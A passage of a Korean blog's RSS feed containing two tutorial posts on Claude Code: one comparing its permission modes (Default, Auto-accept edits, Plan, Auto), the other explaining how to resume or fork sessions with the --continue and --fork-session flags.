&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Claude Code의 Permission Modes는 단순 UI 기능이 아니라&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;AI 실행 제어 레이어 (Execution Control Layer)&lt;/b&gt; 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  내부 흐름&lt;/span&gt;&lt;/h4&gt;
&lt;pre class=&quot;cs&quot;&gt;&lt;code&gt;[User]
   &amp;darr;
[Permission Mode]
   &amp;darr;
[Claude 판단]
   &amp;darr;
[Action 실행 or 승인 요청]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  핵심 역할&lt;/span&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;실행 여부 결정&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;사용자 개입 수준 조절&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;자동화 vs 안전성 균형&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;⚖️ 5. 권한 모드 비교 요약&lt;/span&gt;&lt;/h3&gt;
&lt;table style=&quot;height: 192px;&quot; width=&quot;620&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Mode&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;파일 수정&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;명령 실행&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;특징&lt;/span&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Default&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;승인 필요&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;승인 필요&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;가장 안전&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Auto-accept edits&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;자동&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;승인 필요&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;코드 작업 최적&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Plan&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;❌ 실행 없음&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;❌ 실행 없음&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;설계 전용&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Auto&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;자동&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;자동&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;자율 실행 (실험적)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  6. 실무에서의 사용 전략&lt;/span&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  추천 흐름&lt;/span&gt;&lt;/h4&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;1. Plan Mode &amp;rarr; 설계 검증
2. Default &amp;rarr; 안전한 실행
3. Auto-accept edits &amp;rarr; 생산성 향상
4. Auto Mode &amp;rarr; 자동화 실험&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  핵심 전략&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&amp;ldquo;처음엔 통제하고, 점점 위임하라&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  7. 핵심 인사이트&lt;/span&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  Insight 1&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Permission Mode는 기능이 아니라&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;AI 행동 통제 정책&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  Insight 2&lt;/span&gt;&lt;/h4&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;Plan Mode &amp;rarr; 사고(Thinking)
Default &amp;rarr; 협업
Auto &amp;rarr; 위임(Delegation)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  Insight 3&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Claude Code의 본질:&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&amp;ldquo;코드를 생성하는 AI&amp;rdquo;가 아니라&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;&amp;ldquo;실행까지 수행하는 에이전트&amp;rdquo;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  마무리&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Claude Code의 Permission Modes는&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;AI의 실행 권한을 단계적으로 조절하는 시스템&lt;/b&gt;입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;한 줄 요약:&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;Default &amp;rarr; 물어본다
Auto-accept edits &amp;rarr; 수정은 자동
Plan &amp;rarr; 실행 없이 계획만
Auto &amp;rarr; AI가 알아서 (실험적)&lt;/code&gt;&lt;/pre&gt;</description>
      <category>ClaudeCode/Claude Code의 작동 방식</category>
      <author>헬로우월드</author>
      <guid isPermaLink="true">https://sundaland.tistory.com/1117</guid>
      <comments>https://sundaland.tistory.com/1117#entry1117comment</comments>
      <pubDate>Thu, 9 Apr 2026 10:48:54 +0900</pubDate>
    </item>
    <item>
      <title>Resume or fork sessions</title>
      <link>https://sundaland.tistory.com/1116</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;a href=&quot;https://code.claude.com/docs/ko/how-claude-code-works&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://code.claude.com/docs/ko/how-claude-code-works&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1775698419489&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Claude Code의 작동 방식 - Claude Code Docs&quot; data-og-description=&quot;에이전트 루프, 내장 도구, Claude Code가 프로젝트와 상호작용하는 방식을 이해합니다.&quot; data-og-host=&quot;code.claude.com&quot; data-og-source-url=&quot;https://code.claude.com/docs/ko/how-claude-code-works&quot; data-og-url=&quot;https://code.claude.com/docs/ko/how-claude-code-works&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/fhZqD/dJMb9b3SX6q/OesYwwUqiukqGufj3KCKF1/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/dcWFMz/dJMb9iIHZe3/RoyXm69GyL7xzEKxqDNNoK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630&quot;&gt;&lt;a href=&quot;https://code.claude.com/docs/ko/how-claude-code-works&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://code.claude.com/docs/ko/how-claude-code-works&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/fhZqD/dJMb9b3SX6q/OesYwwUqiukqGufj3KCKF1/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/dcWFMz/dJMb9iIHZe3/RoyXm69GyL7xzEKxqDNNoK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code의 작동 방식 - Claude Code Docs&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;에이전트 루프, 내장 도구, Claude Code가 프로젝트와 상호작용하는 방식을 이해합니다.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;code.claude.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  Claude Code 세션 마스터하기: 재개(Resume)와 포크(Fork)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;안녕하세요! 오늘은 Claude Code를 사용할 때 작업을 이어가거나, 새로운 시도를 하고 싶을 때 꼭 알아야 할 &lt;b&gt;세션 제어 스킬&lt;/b&gt;을 정리해 보았습니다.  ️&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;단순히 &lt;code&gt;claude&lt;/code&gt;를 실행하는 것을 넘어, 기존 작업을 어떻게 스마트하게 관리할 수 있는지 함께 살펴볼까요?&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;1. 중단된 지점에서 다시 시작하기: &lt;code&gt;--continue&lt;/code&gt; &amp;amp; &lt;code&gt;--resume&lt;/code&gt; ⏯️&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;바쁜 개발 일과 중에 터미널을 닫아야 했나요? 걱정 마세요. &lt;code&gt;--continue&lt;/code&gt; 또는 &lt;code&gt;--resume&lt;/code&gt; 플래그를 사용하면 &lt;b&gt;동일한 세션 ID&lt;/b&gt;로 이전에 중단했던 지점부터 즉시 대화를 이어갈 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;동작 방식:&lt;/b&gt; 기존 대화 기록이 그대로 복원되며, 새로운 메시지는 이전 대화 뒤에 차곡차곡 쌓입니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;⚠️ 주의사항 (권한 재승인):&lt;/b&gt; 대화 기록은 복원되지만, 보안을 위해 &lt;b&gt;세션 범위 권한(Session-scoped permissions)&lt;/b&gt;은 초기화됩니다. 파일 쓰기나 명령어 실행 시 다시 한번 승인 절차가 필요합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;applescript&quot;&gt;&lt;code&gt;# 이전에 하던 작업을 그대로 이어가고 싶을 때
claude --continue&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;2. 평행 우주 만들기: &lt;code&gt;--fork-session&lt;/code&gt;  &lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&quot;지금까지의 맥락은 유지하되, 원래 세션은 건드리지 않고 다른 방식으로 코드를 고쳐보고 싶어!&quot; 이럴 때 필요한 것이 바로 &lt;b&gt;포크(Fork)&lt;/b&gt; 기능입니다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;동작 방식:&lt;/b&gt; 현재까지의 대화 기록은 그대로 복원하지만, &lt;b&gt;새로운 세션 ID&lt;/b&gt;를 생성합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;장점:&lt;/b&gt; 원본 세션에는 아무런 영향을 주지 않으면서 새로운 실험을 마음껏 할 수 있습니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;권한:&lt;/b&gt; 재개와 마찬가지로 세션 권한은 상속되지 않으므로 새로 승인해야 합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;# 기존 맥락을 복사해 새로운 세션에서 실험하기
claude --continue --fork-session&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;3. 여러 터미널에서 동일 세션 사용 시 주의점 ⚠️ &lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;가끔 실수로(혹은 의도적으로) 여러 개의 터미널 창에서 동일한 세션 ID를 재개할 때가 있습니다. 이때 어떤 일이 벌어질까요?&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;인터리빙(Interleaving) 현상:&lt;/b&gt; 마치 하나의 공책에 두 사람이 동시에 글을 쓰는 것과 같습니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;실시간:&lt;/b&gt; 각 터미널 창에서는 자신이 보낸 메시지만 보입니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;사후:&lt;/b&gt; 하지만 세션을 종료한 뒤 나중에 다시 열어보면, 두 터미널의 대화가 &lt;b&gt;시간순으로 뒤섞여(Interleaved)&lt;/b&gt; 있는 것을 보게 됩니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;결론:&lt;/b&gt; 데이터가 깨지지는 않지만 대화 맥락이 엉망이 될 수 있습니다. 병렬 작업을 원하신다면 반드시 위에서 배운 &lt;code&gt;--fork-session&lt;/code&gt;을 사용해 각 터미널에 독립된 세션을 부여하세요!&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  요약 및 팁 (Cheatsheet)&lt;/span&gt;&lt;/h4&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;상황&lt;/span&gt;&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;추천 플래그&lt;/span&gt;&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;결과&lt;/span&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;하던 작업 그대로 이어하기&lt;/span&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;--continue&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;동일 ID, 기록 복원&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;기존 맥락에서 새 시도하기&lt;/span&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;--continue --fork-session&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;새 ID&lt;/b&gt;, 기록 복사&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;여러 창에서 동시 작업하기&lt;/span&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;--fork-session&lt;/code&gt; 필수!&lt;/span&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;세션 간 간섭 방지&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;마무리하며  &lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Claude Code의 세션 관리 기능을 잘 활용하면, 복잡한 리팩토링이나 실험적인 기능을 구현할 때 훨씬 안전하고 효율적으로 작업할 수 있습니다. 이제 &lt;code&gt;--continue&lt;/code&gt;와 &lt;code&gt;--fork-session&lt;/code&gt;으로 여러분의 워크플로우를 한 단계 업그레이드해 보세요!  ✨&lt;/span&gt;&lt;/p&gt;</description>
      <category>ClaudeCode/Claude Code의 작동 방식</category>
      <author>헬로우월드</author>
      <guid isPermaLink="true">https://sundaland.tistory.com/1116</guid>
      <comments>https://sundaland.tistory.com/1116#entry1116comment</comments>
      <pubDate>Thu, 9 Apr 2026 10:33:12 +0900</pubDate>
    </item>
  </channel>
</rss>